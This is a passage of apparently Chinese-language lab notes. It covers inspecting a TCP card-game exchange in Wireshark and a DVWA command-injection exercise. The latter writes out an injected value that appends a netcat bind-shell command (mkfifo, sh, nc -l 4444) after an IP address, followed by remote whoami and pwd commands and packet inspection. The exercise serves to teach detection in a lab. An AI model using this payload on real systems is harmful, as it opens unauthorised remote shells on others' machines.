Input 'more' to get more card, input 'end' to stop the program.
Please input message send to sever:
```

Client 端 使用者輸入 more

查看TCP 封包

- Sever端回傳目前牌面大小

查看TCP 封包

- 遊戲結束時，中斷Socket連線

查看Command Injection封包

- 將來源ip設定為攻擊機ip，目的地ip設定為靶機ip
- 在上方搜尋框輸入 ip.src==[攻擊機ip] && ip.dst==[靶機ip]

查看Command Injection封包

- 在靶機上安裝DVWA服務
- 在攻擊機上開啟靶機的DVWA網站

查看Command Injection封包

- 在Command Injection頁面，輸入指令:

8.8.8.8; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe

查看Command Injection封包

- 在攻擊機上開啟終端機，連線到靶機4444 port，並執行whoami與pwd指令

查看Command Injection封包

- 在wireShark可以觀察到有可疑的4444 port正在使用
- 點選並查看封包內容